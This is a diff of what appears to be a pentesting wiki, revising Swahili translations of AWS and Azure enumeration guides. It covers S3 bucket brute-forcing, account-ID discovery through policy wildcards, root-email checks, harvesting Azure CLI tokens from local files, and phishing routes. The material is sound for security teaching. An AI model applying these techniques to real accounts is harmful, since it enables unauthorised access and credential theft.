hauondoki kwenye eneo la OAuth lililotumika**. Si kama katika shambulio zingine za phishing ambapo mtumiaji anahitaji kubadilisha eneo la kuingia, katika kesi ambapo mchakato wa kifaa umeandaliwa hivyo **nambari inajulikana na kifaa** na mtumiaji anaweza kuingia hata kwenye mashine tofauti. Ikiwa ombi litakubaliwa, kifaa, kwa **kujua nambari ya awali**, kitakuwa na uwezo wa **kurejesha akidi** za mtumiaji. Kwa maelezo zaidi kuhusu hii [**angalia chapisho hili**](https://mjg59.dreamwidth.org/62175.html). diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md index 57a2530e2..53451fc97 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-kinesis-video-unauthenticated-enum.md @@ -2,7 +2,7 @@ {{#include ../../../banners/hacktricks-training.md}} -### Kiole ya URL ya Umma +### Kigezo cha URL ya Umma ``` https://{random_id}.kinesisvideo.{region}.amazonaws.com ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md index c531814a4..a7728cdcc 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-lambda-unauthenticated-access.md @@ -2,19 +2,19 @@ {{#include ../../../banners/hacktricks-training.md}} -## Public Function URL +## URL ya Kazi ya Umma -Inawezekana kuhusisha **Lambda** na **public function URL** ambayo mtu yeyote anaweza kufikia. Inaweza kuwa na udhaifu wa mtandao. +Inawezekana kuhusisha **Lambda** na **URL ya kazi ya umma** ambayo mtu yeyote anaweza kufikia. Inaweza kuwa na udhaifu wa mtandao. -### Public URL template +### Kiolezo cha URL ya Umma ``` https://{random_id}.lambda-url.{region}.on.aws/ ``` -### Pata Kitambulisho cha Akaunti kutoka kwa URL ya Lambda ya Umma +### Pata ID ya Akaunti kutoka kwa URL ya Lambda ya umma -Kama ilivyo kwa mifuko ya S3, Data Exchange na API gateways, inawezekana kupata kitambulisho cha akaunti ya akaunti inayotumia **`aws:ResourceAccount`** **Policy Condition Key** kutoka kwa URL ya lambda ya umma. Hii inafanywa kwa kupata kitambulisho cha akaunti moja herufi kwa wakati kwa kutumia wildcards katika sehemu ya **`aws:ResourceAccount`** ya sera.\ +Kama ilivyo kwa mifuko ya S3, Data Exchange na API gateways, inawezekana kupata ID ya akaunti ya akaunti inayotumia **`aws:ResourceAccount`** **Policy Condition Key** kutoka kwa URL ya lambda ya umma. Hii inafanywa kwa kupata ID ya akaunti moja herufi kwa wakati kwa kutumia wildcards katika sehemu ya **`aws:ResourceAccount`** ya sera.\ Teknolojia hii pia inaruhusu kupata **maadili ya lebo** ikiwa unajua ufunguo wa lebo (kuna baadhi ya zile za kawaida zinazovutia). -Unaweza kupata maelezo zaidi katika [**utafiti wa asili**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) na zana [**conditional-love**](https://github.com/plerionhq/conditional-love/) ili kuendesha unyakuzi huu kiotomatiki. +Unaweza kupata maelezo zaidi katika [**utafiti wa asili**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) na zana [**conditional-love**](https://github.com/plerionhq/conditional-love/) ili kuendesha kiotomatiki unyakuzi huu. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md index 35a4b6fe4..87744cbff 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-mq-unauthenticated-enum.md @@ -6,11 +6,11 @@ ### **RabbitMQ** -Katika kesi ya **RabbitMQ**, kwa **kawaida ufikiaji wa umma** na ssl vimewezeshwa. Lakini unahitaji **akikisho** ili kufikia (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Zaidi ya hayo, inawezekana **kufikia konsoli ya usimamizi wa wavuti** ikiwa unajua akikisho katika `https://b-.mq.us-east-1.amazonaws.com/` +Katika kesi ya **RabbitMQ**, kwa **kawaida ufikiaji wa umma** na ssl vimewezeshwa. Lakini unahitaji **akikazi** ili kufikia (`amqps://.mq.us-east-1.amazonaws.com:5671`​​). Zaidi ya hayo, inawezekana **kufikia konsoli ya usimamizi wa wavuti** ikiwa unajua akiba katika `https://b-.mq.us-east-1.amazonaws.com/` ### ActiveMQ -Katika kesi ya **ActiveMQ**, kwa kawaida ufikiaji wa umma na ssl vimewezeshwa, lakini unahitaji akikisho ili kufikia. +Katika kesi ya **ActiveMQ**, kwa kawaida ufikiaji wa umma na ssl vimewezeshwa, lakini unahitaji akiba ili kufikia. ### Public URL template ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md index aac72f138..73bdea0aa 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-msk-unauthenticated-enum.md @@ -6,7 +6,7 @@ Inawezekana **kufichua broker ya Kafka kwa umma**, lakini utahitaji **vithibitisho**, ruhusa za IAM au cheti halali (kulingana na njia ya uthibitishaji iliyowekwa). -Pia **inawezekana kuzima uthibitishaji**, lakini katika kesi hiyo **haiwezekani kufichua moja kwa moja** bandari hiyo kwa Mtandao. +Pia inawezekana **kuondoa uthibitishaji**, lakini katika kesi hiyo **haiwezekani kufichua moja kwa moja** bandari hiyo kwa Mtandao. ### Public URL template ``` diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md index 534b0b671..8c9a70f6a 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-rds-unauthenticated-enum.md @@ -16,7 +16,7 @@ Inawezekana kutoa ufikiaji wa umma kwa **database kutoka kwenye mtandao**. Msham ## Public RDS Snapshots -AWS inaruhusu kutoa **ufikiaji kwa mtu yeyote kupakua RDS snapshots**. Unaweza kuorodhesha hizi RDS snapshots za umma kwa urahisi kutoka kwenye akaunti yako: +AWS inaruhusu kutoa **ufikiaji kwa mtu yeyote kupakua RDS snapshots**. Unaweza kuorodhesha hizi RDS snapshots za umma kwa urahisi kutoka kwa akaunti yako mwenyewe: ```bash # Public RDS snapshots aws rds describe-db-snapshots --include-public diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md index e27545fb8..026818688 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-s3-unauthenticated-enum.md @@ -4,40 +4,40 @@ ## S3 Public Buckets -A bucket is considered **“public”** if **mtumiaji yeyote anaweza kuorodhesha maudhui** ya bucket, and **“private”** if the bucket's contents can **only be listed or written by certain users**. +A bucket is considered **“public”** if **mtumiaji yeyote anaweza kuorodhesha maudhui** ya bucket, na **“private”** ikiwa maudhui ya bucket yanaweza **kuorodheshwa au kuandikwa tu na watumiaji fulani**. -Companies might have **buckets permissions miss-configured** giving access either to everything or to everyone authenticated in AWS in any account (so to anyone). Note, that even with such misconfigurations some actions might not be able to be performed as buckets might have their own access control lists (ACLs). +Makampuni yanaweza kuwa na **mipangilio ya ruhusa za buckets isiyo sahihi** ikitoa ufikiaji ama kwa kila kitu au kwa kila mtu aliyejithibitisha katika AWS katika akaunti yoyote (hivyo kwa mtu yeyote). Kumbuka, kwamba hata na makosa kama hayo baadhi ya vitendo vinaweza kutoweza kufanywa kwani buckets zinaweza kuwa na orodha zao za udhibiti wa ufikiaji (ACLs). -**Learn about AWS-S3 misconfiguration here:** [**http://flaws.cloud**](http://flaws.cloud/) **and** [**http://flaws2.cloud/**](http://flaws2.cloud) +**Jifunze kuhusu makosa ya AWS-S3 hapa:** [**http://flaws.cloud**](http://flaws.cloud/) **na** [**http://flaws2.cloud/**](http://flaws2.cloud) ### Finding AWS Buckets -Different methods to find when a webpage is using AWS to storage some resources: +Njia tofauti za kupata wakati ukurasa wa wavuti unatumia AWS kuhifadhi baadhi ya rasilimali: #### Enumeration & OSINT: -- Using **wappalyzer** browser plugin -- Using burp (**spidering** the web) or by manually navigating through the page all **resources** **loaded** will be save in the History. -- **Check for resources** in domains like: +- Kutumia **wappalyzer** plugin ya kivinjari +- Kutumia burp (**spidering** wavuti) au kwa kuvinjari kwa mikono kupitia ukurasa wote **rasilimali** **zilizopakiwa** zitahifadhiwa katika Historia. +- **Angalia rasilimali** katika maeneo kama: ``` http://s3.amazonaws.com/[bucket_name]/ http://[bucket_name].s3.amazonaws.com/ ``` -- Check for **CNAMES** as `resources.domain.com` might have the CNAME `bucket.s3.amazonaws.com` -- Check [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), a web with already **discovered open buckets**. -- The **bucket name** and the **bucket domain name** needs to be **the same.** -- **flaws.cloud** is in **IP** 52.92.181.107 and if you go there it redirects you to [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Also, `dig -x 52.92.181.107` gives `s3-website-us-west-2.amazonaws.com`. -- To check it's a bucket you can also **visit** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). +- Angalia **CNAMES** kama `resources.domain.com` inaweza kuwa na CNAME `bucket.s3.amazonaws.com` +- Angalia [https://buckets.grayhatwarfare.com](https://buckets.grayhatwarfare.com/), wavuti yenye **buckets wazi zilizogunduliwa** tayari. +- **Jina la bucket** na **jina la domain la bucket** inahitaji kuwa **sawa.** +- **flaws.cloud** iko katika **IP** 52.92.181.107 na ukitembelea huko inakuelekeza kwenye [https://aws.amazon.com/s3/](https://aws.amazon.com/s3/). Pia, `dig -x 52.92.181.107` inatoa `s3-website-us-west-2.amazonaws.com`. +- Ili kuangalia ni bucket unaweza pia **kutembelea** [https://flaws.cloud.s3.amazonaws.com/](https://flaws.cloud.s3.amazonaws.com/). #### Brute-Force -You can find buckets by **brute-forcing name**s related to the company you are pentesting: +Unaweza kupata buckets kwa **kujaribu majina** yanayohusiana na kampuni unayofanya pentesting: - [https://github.com/sa7mon/S3Scanner](https://github.com/sa7mon/S3Scanner) - [https://github.com/clario-tech/s3-inspector](https://github.com/clario-tech/s3-inspector) -- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Contains a list with potential bucket names) +- [https://github.com/jordanpotti/AWSBucketDump](https://github.com/jordanpotti/AWSBucketDump) (Inajumuisha orodha ya majina ya bucket yanayoweza kuwa) - [https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets](https://github.com/fellchase/flumberboozle/tree/master/flumberbuckets) - [https://github.com/smaranchand/bucky](https://github.com/smaranchand/bucky) - [https://github.com/tomdev/teh_s3_bucketeers](https://github.com/tomdev/teh_s3_bucketeers) @@ -77,15 +77,15 @@ s3scanner --threads 100 scan --buckets-file /tmp/final-words-s3.txt | grep buck #### Loot S3 Buckets -Given S3 open buckets, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) can automatically **search for interesting information**. +Kutoa S3 buckets wazi, [**BucketLoot**](https://github.com/redhuntlabs/BucketLoot) inaweza moja kwa moja **kutafuta taarifa za kuvutia**. ### Find the Region -You can find all the supported regions by AWS in [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) +Unaweza kupata maeneo yote yanayoungwa mkono na AWS katika [**https://docs.aws.amazon.com/general/latest/gr/s3.html**](https://docs.aws.amazon.com/general/latest/gr/s3.html) #### By DNS -You can get the region of a bucket with a **`dig`** and **`nslookup`** by doing a **DNS request of the discovered IP**: +Unaweza kupata eneo la bucket kwa **`dig`** na **`nslookup`** kwa kufanya **ombwe la DNS la IP iliyogunduliwa**: ```bash dig flaws.cloud ;; ANSWER SECTION: @@ -95,29 +95,29 @@ nslookup 52.218.192.11 Non-authoritative answer: 11.192.218.52.in-addr.arpa name = s3-website-us-west-2.amazonaws.com. ``` -Check that the resolved domain have the word "website".\ -You can access the static website going to: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ -or you can access the bucket visiting: `flaws.cloud.s3-us-west-2.amazonaws.com` +Angalia kwamba jina la kikoa lililopatikana lina neno "website".\ +Unaweza kufikia tovuti ya kawaida kwa kutembelea: `flaws.cloud.s3-website-us-west-2.amazonaws.com`\ +au unaweza kufikia ndoo kwa kutembelea: `flaws.cloud.s3-us-west-2.amazonaws.com` -#### By Trying +#### Kwa Kujaribu -If you try to access a bucket, but in the **domain name you specify another region** (for example the bucket is in `bucket.s3.amazonaws.com` but you try to access `bucket.s3-website-us-west-2.amazonaws.com`, then you will be **indicated to the correct location**: +Ikiwa unajaribu kufikia ndoo, lakini katika **jina la kikoa unataja eneo lingine** (kwa mfano ndoo iko katika `bucket.s3.amazonaws.com` lakini unajaribu kufikia `bucket.s3-website-us-west-2.amazonaws.com`, basi utaonyeshwa **mahali sahihi**: ![](<../../../images/image (106).png>) -### Enumerating the bucket +### Kuorodhesha ndoo -Ili kujaribu ufunguzi wa bucket, mtumiaji anaweza tu kuingiza URL katika kivinjari chao cha wavuti. Bucket ya kibinafsi itajibu na "Access Denied". Bucket ya umma itataja vitu 1,000 vya kwanza ambavyo vimehifadhiwa. +Ili kujaribu ufunguzi wa ndoo, mtumiaji anaweza tu kuingiza URL katika kivinjari chao. Ndoo ya kibinafsi itajibu na "Access Denied". Ndoo ya umma itataja vitu 1,000 vya kwanza vilivyohifadhiwa. -Open to everyone: +Iko wazi kwa kila mtu: ![](<../../../images/image (201).png>) -Private: +Binafsi: ![](<../../../images/image (83).png>) -You can also check this with the cli: +Unaweza pia kuangalia hii kwa cli: ```bash #Use --no-sign-request for check Everyones permissions #Use --profile to indicate the AWS profile(keys) that youwant to use: Check for "Any Authenticated AWS User" permissions @@ -133,7 +133,7 @@ https://{user_provided}.s3.amazonaws.com ``` ### Pata Kitambulisho cha Akaunti kutoka kwa Baki ya Umma -Inawezekana kubaini akaunti ya AWS kwa kutumia faida ya **`S3:ResourceAccount`** **Key ya Masharti ya Sera**. Masharti haya **yanapunguza ufikiaji kulingana na baki ya S3** ambayo akaunti iko ndani (sera nyingine zinazotegemea akaunti zinapunguza kulingana na akaunti ambayo kiongozi anayehitaji yuko ndani).\ +Inawezekana kubaini akaunti ya AWS kwa kutumia faida ya **`S3:ResourceAccount`** **Key ya Masharti ya Sera**. Masharti haya **yanapunguza ufikiaji kulingana na baki ya S3** ambayo akaunti iko ndani (sera nyingine za msingi wa akaunti zinapunguza kulingana na akaunti ambayo kiongozi anayehitaji yuko ndani).\ Na kwa sababu sera inaweza kuwa na **wildcards** inawezekana kupata nambari ya akaunti **nambari moja kwa wakati**. Chombo hiki kinara mchakato: @@ -146,11 +146,11 @@ s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket # With an object s3-account-search arn:aws:iam::123456789012:role/s3_read s3://my-bucket/path/to/object.ext ``` -Hii mbinu pia inafanya kazi na URL za API Gateway, URL za Lambda, seti za data za Data Exchange na hata kupata thamani ya lebo (ikiwa unajua ufunguo wa lebo). Unaweza kupata maelezo zaidi katika [**utafiti wa asili**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) na zana [**conditional-love**](https://github.com/plerionhq/conditional-love/) ili kuendesha uhalifu huu kiotomatiki. +Tekniki hii pia inafanya kazi na API Gateway URLs, Lambda URLs, Data Exchange data sets na hata kupata thamani ya tags (ikiwa unajua ufunguo wa tag). Unaweza kupata maelezo zaidi katika [**utafiti wa asili**](https://blog.plerion.com/conditional-love-for-aws-metadata-enumeration/) na zana [**conditional-love**](https://github.com/plerionhq/conditional-love/) ili kuendesha uhalifu huu. -### Kuthibitisha kwamba ndoo inamilikiwa na akaunti ya AWS +### Kuthibitisha kuwa bucket inamilikiwa na akaunti ya AWS -Kama ilivyoelezwa katika [**hiki kipande cha blog**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, ikiwa una ruhusa ya kuorodhesha ndoo** inawezekana kuthibitisha accountID ambayo ndoo inamilikiwa kwa kutuma ombi kama: +Kama ilivyoelezwa katika [**hiki blogu**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/)**, ikiwa una ruhusa za kuorodhesha bucket** inawezekana kuthibitisha accountID ambayo bucket inamilikiwa kwa kutuma ombi kama: ```bash curl -X GET "[bucketname].amazonaws.com/" \ -H "x-amz-expected-bucket-owner: [correct-account-id]" @@ -158,11 +158,11 @@ curl -X GET "[bucketname].amazonaws.com/" \ ... ``` -If the error is an “Access Denied” it means that the account ID was wrong. +Ikiwa kosa ni "Access Denied" inamaanisha kwamba ID ya akaunti ilikuwa mbaya. -### Used Emails as root account enumeration +### Kutumia Barua Pepe kama uainishaji wa akaunti ya mzizi -As explained in [**this blog post**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), it's possible to check if an email address is related to any AWS account by **kujaribu kutoa ruhusa kwa barua pepe** juu ya S3 bucket kupitia ACLs. If this doesn't trigger an error, it means that the email is a root user of some AWS account: +Kama ilivyoelezwa katika [**hiki blogu**](https://blog.plerion.com/things-you-wish-you-didnt-need-to-know-about-s3/), inawezekana kuangalia ikiwa anwani ya barua pepe inahusiana na akaunti yoyote ya AWS kwa **kujaribu kutoa ruhusa kwa barua pepe** juu ya S3 bucket kupitia ACLs. Ikiwa hii haitasababisha kosa, inamaanisha kwamba barua pepe hiyo ni mtumiaji wa mzizi wa akaunti fulani ya AWS: ```python s3_client.put_bucket_acl( Bucket=bucket_name, diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md index 67a4579f3..5aafdb824 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sns-unauthenticated-enum.md @@ -10,12 +10,12 @@ Kwa maelezo zaidi kuhusu SNS angalia: ../aws-services/aws-sns-enum.md {{#endref}} -### Iko Wazi kwa Wote +### Iko wazi kwa Wote -Unapokamilisha kusanidi mada ya SNS kutoka kwa konsoli ya wavuti, inawezekana kuashiria kwamba **Kila Mtu anaweza kuchapisha na kujiunga** na mada hiyo: +Unapokamilisha mada ya SNS kutoka kwenye konsoli ya wavuti, inawezekana kuashiria kwamba **Kila mtu anaweza kuchapisha na kujiunga** na mada hiyo:
-Hivyo ikiwa **utapata ARN ya mada** ndani ya akaunti (au kujaribu majina yanayoweza kuwa ya mada) unaweza **kuangalia** ikiwa unaweza **kuchapisha** au **kujiunga** na **zao**. +Hivyo kama **unapata ARN ya mada** ndani ya akaunti (au kujaribu majina yanayoweza kuwa ya mada) unaweza **kuangalia** kama unaweza **kuchapisha** au **kujiunga** na **zao**. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md index b2842c30d..d91e2e941 100644 --- a/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md +++ b/src/pentesting-cloud/aws-security/aws-unauthenticated-enum-access/aws-sqs-unauthenticated-enum.md @@ -1,4 +1,4 @@ -# AWS - SQS Unauthenticated Enum +# AWS - SQS Isiyoidhinishwa Enum {{#include ../../../banners/hacktricks-training.md}} @@ -10,12 +10,12 @@ Kwa maelezo zaidi kuhusu SQS angalia: ../aws-services/aws-sqs-and-sns-enum.md {{#endref}} -### Mfano wa URL ya Umma +### Kiolezo cha URL ya Umma ``` https://sqs.[region].amazonaws.com/[account-id]/{user_provided} ``` -### Check Permissions +### Angalia Ruhusa -Inawezekana kukosea usanidi wa sera ya SQS na kutoa ruhusa kwa kila mtu katika AWS kutuma na kupokea ujumbe, hivyo ikiwa unapata ARN ya foleni jaribu kuona kama unaweza kuzipata. +Inawezekana kukosea usanidi wa sera ya SQS na kutoa ruhusa kwa kila mtu katika AWS kutuma na kupokea ujumbe, hivyo ikiwa unapata ARN za foleni jaribu kuona kama unaweza kuzifikia. {{#include ../../../banners/hacktricks-training.md}} diff --git a/src/pentesting-cloud/azure-security/README.md b/src/pentesting-cloud/azure-security/README.md index df61179da..f16d2b240 100644 --- a/src/pentesting-cloud/azure-security/README.md +++ b/src/pentesting-cloud/azure-security/README.md @@ -12,40 +12,40 @@ az-basic-information/ Ili kukagua mazingira ya AZURE ni muhimu sana kujua: ni **huduma zipi zinatumika**, nini kinachoweza **kuonyeshwa**, nani ana **ufikiaji** wa nini, na jinsi huduma za ndani za Azure na **huduma za nje** zinavyounganishwa. -Kutoka kwa mtazamo wa Red Team, **hatua ya kwanza ya kuathiri mazingira ya Azure** ni kupata **akikazi** za Azure AD. Hapa kuna mawazo kadhaa juu ya jinsi ya kufanya hivyo: +Kutoka kwa mtazamo wa Red Team, **hatua ya kwanza ya kuathiri mazingira ya Azure** ni kupata **akidi** za Azure AD. Hapa kuna mawazo kadhaa juu ya jinsi ya kufanya hivyo: - **Mvujo** katika github (au sawa) - OSINT - **Uhandisi** wa Kijamii - **Tumia tena** nywila (mvujo wa nywila) -- Uthibitisho katika Maombi ya Azure-Hosted +- Uthibitisho katika Programu za Azure-Hosted - [**Server Side Request Forgery**](https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf) yenye ufikiaji wa metadata endpoint -- **Kusoma Faili za Mitaa** +- **Soma Faili za Mitaa** - `/home/USERNAME/.azure` - `C:\Users\USERNAME\.azure` - Faili **`accessTokens.json`** katika `az cli` kabla ya 2.30 - Jan2022 - ilihifadhi **tokens za ufikiaji kwa maandiko wazi** - Faili **`azureProfile.json`** ina **habari** kuhusu mtumiaji aliyeingia. - **`az logout`** inafuta token. -- Matoleo ya zamani ya **`Az PowerShell`** yalihifadhi **tokens za ufikiaji** kwa **maandiko** wazi katika **`TokenCache.dat`**. Pia inahifadhi **ServicePrincipalSecret** kwa **maandiko** wazi katika **`AzureRmContext.json`**. Cmdlet **`Save-AzContext`** inaweza kutumika kuhifadhi **tokens**.\ +- Matoleo ya zamani ya **`Az PowerShell`** yalihifadhi **tokens za ufikiaji** kwa **maandiko wazi** katika **`TokenCache.dat`**. Pia inahifadhi **ServicePrincipalSecret** kwa **maandiko wazi** katika **`AzureRmContext.json`**. Cmdlet **`Save-AzContext`** inaweza kutumika kuhifadhi **tokens**.\ Tumia `Disconnect-AzAccount` kuondoa hizo. - Watu wa 3rd **walivunja** - **Mfanyakazi** wa Ndani -- [**Phishing ya Kawaida**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (akikazi au Oauth App) -- [Phishing ya Uthibitisho wa Kifaa](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) +- [**Uvuvi wa Kawaida**](https://book.hacktricks.xyz/generic-methodologies-and-resources/phishing-methodology) (akidi au Oauth App) +- [Uvuvi wa Uthibitisho wa Nambari ya Kifaa](az-unauthenticated-enum-and-initial-entry/az-device-code-authentication-phishing.md) - [Azure **Password Spraying**](az-unauthenticated-enum-and-initial-entry/az-password-spraying.md) -Hata kama huja **athiri mtumiaji yeyote** ndani ya tenant ya Azure unayoishambulia, unaweza **kusanya habari** kutoka kwake: +Hata kama huja **athiri mtumiaji yeyote** ndani ya tenant ya Azure unayoishambulia, unaweza **kusanya habari fulani** kutoka kwake: {{#ref}} az-unauthenticated-enum-and-initial-entry/ {{#endref}} > [!NOTE] -> Baada ya kufanikiwa kupata akiba, unahitaji kujua **ni nani anayemiliki hizo akiba**, na **nini wana ufikiaji**, hivyo unahitaji kufanya uhesabu wa msingi: +> Baada ya kufanikiwa kupata akidi, unahitaji kujua **ni nani akidi hizo zinamilikiwa**, na **nini wana ufikiaji nacho**, hivyo unahitaji kufanya uainishaji wa msingi: ## Basic Enumeration > [!NOTE] -> Kumbuka kwamba sehemu ya **sauti kubwa** ya uhesabu ni **kuingia**, si uhesabu yenyewe. +> Kumbuka kwamba sehemu ya **kelele** zaidi ya uainishaji ni **kuingia**, si uainishaji wenyewe. ### SSRF @@ -59,14 +59,14 @@ https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/clou
-Katika hali ambapo una akiba halali lakini huwezi kuingia, hizi ni baadhi ya ulinzi wa kawaida ambao unaweza kuwepo: +Katika hali ambapo una akidi halali lakini huwezi kuingia, hizi ni baadhi ya ulinzi wa kawaida ambao unaweza kuwepo: - **IP whitelisting** -- Unahitaji kuathiri IP halali -- **Geo restrictions** -- Tafuta mahali mtumiaji anaishi au ofisi za kampuni na pata IP kutoka jiji moja (au nchi angalau) +- **Geo restrictions** -- Pata mahali mtumiaji anaishi au ofisi za kampuni na pata IP kutoka jiji moja (au nchi angalau) - **Browser** -- Labda ni kivinjari tu kutoka OS fulani (Windows, Linux, Mac, Android, iOS) kinachoruhusiwa. Jua ni OS ipi mwathirika/kampuni inatumia. -- Unaweza pia kujaribu **kuathiri akiba za Service Principal** kwani kawaida huwa na mipaka kidogo na kuingia kwake hakuchunguzwi sana +- Unaweza pia kujaribu **kuathiri akidi za Service Principal** kwani kawaida huwa na mipaka kidogo na kuingia kwake hakuchunguzwi sana -Baada ya kuipita, unaweza kuwa na uwezo wa kurudi kwenye mipangilio yako ya awali na bado utakuwa na ufikiaji. +Baada ya kuweza kuondoa hiyo, unaweza kurudi kwenye mipangilio yako ya awali na bado utakuwa na ufikiaji. ### Subdomain Takeover @@ -122,11 +122,11 @@ Get-AzRoleAssignment -SignInName test@corp.onmicrosoft.com # For current user > [!CAUTION] > Moja ya amri muhimu zaidi za kuhesabu Azure ni **`Get-AzResource`** kutoka Az PowerShell kwani inakuwezesha **kujua rasilimali ambazo mtumiaji wako wa sasa anaweza kuona**. > -> Unaweza kupata taarifa sawa katika **konsoli ya wavuti** ukitembelea [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) au kutafuta "All resources" +> Unaweza kupata taarifa sawa katika **konsoli ya wavuti** kwa kutembelea [https://portal.azure.com/#view/HubsExtension/BrowseAll](https://portal.azure.com/#view/HubsExtension/BrowseAll) au kutafuta "All resources" ### ENtra ID Enumeration -Kwa kawaida, mtumiaji yeyote anapaswa kuwa na **idhini ya kutosha kuhesabu** mambo kama vile, watumiaji, vikundi, majukumu, wahusika wa huduma... (angalia [idhini za AzureAD za kawaida](az-basic-information/#default-user-permissions)).\ +Kwa kawaida, mtumiaji yeyote anapaswa kuwa na **idhini ya kutosha kuhesabu** mambo kama vile, watumiaji, vikundi, majukumu, wahusika wa huduma... (angalia [default AzureAD permissions](az-basic-information/#default-user-permissions)).\ Unaweza kupata hapa mwongozo: {{#ref}} @@ -134,7 +134,7 @@ az-services/az-azuread.md {{#endref}} > [!NOTE] -> Sasa kwamba una **taarifa fulani kuhusu akreditivu zako** (na ikiwa wewe ni timu nyekundu matumaini huja **gundulika**). Ni wakati wa kubaini ni huduma zipi zinatumika katika mazingira.\ +> Sasa kwamba una **taarifa fulani kuhusu hati zako** (na ikiwa wewe ni timu nyekundu matumaini huja **gundulika**). Ni wakati wa kubaini ni huduma zipi zinatumika katika mazingira.\ > Katika sehemu ifuatayo unaweza kuangalia njia kadhaa za **kuhesabu huduma za kawaida.** ## App Service SCM @@ -147,7 +147,7 @@ Tumia portal.azure.com na uchague shell, au tumia shell.azure.com, kwa bash au p ## Azure DevOps -Azure DevOps ni tofauti na Azure. Ina hazina, mipangilio (yaml au toleo), bodi, wiki, na zaidi. Makundi ya Vigezo yanatumika kuhifadhi thamani za vigezo na siri. +Azure DevOps ni tofauti na Azure. Ina hazina, mipango (yaml au toleo), bodi, wiki, na zaidi. Makundi ya Vigezo yanatumika kuhifadhi thamani za vigezo na siri. ## Debug | MitM az cli @@ -183,7 +183,7 @@ $env:HTTP_PROXY="http://127.0.0.1:8080" {{#endtab }} {{#endtabs }} -## Zana za Upelelezi za Kiotomatiki +## Zana za Kutafuta Kiotomatiki ### [**ROADRecon**](https://github.com/dirkjanm/ROADtools) ```powershell diff --git a/src/pentesting-cloud/azure-security/az-basic-information/README.md b/src/pentesting-cloud/azure-security/az-basic-information/README.md index 8bae38f6d..9a66e7152 100644 --- a/src/pentesting-cloud/azure-security/az-basic-information/README.md +++ b/src/pentesting-cloud/azure-security/az-basic-information/README.md @@ -6,29 +6,29 @@

https://www.tunecom.be/stg_ba12f/wp-content/uploads/2020/01/VDC-Governance-ManagementGroups-1536x716.png

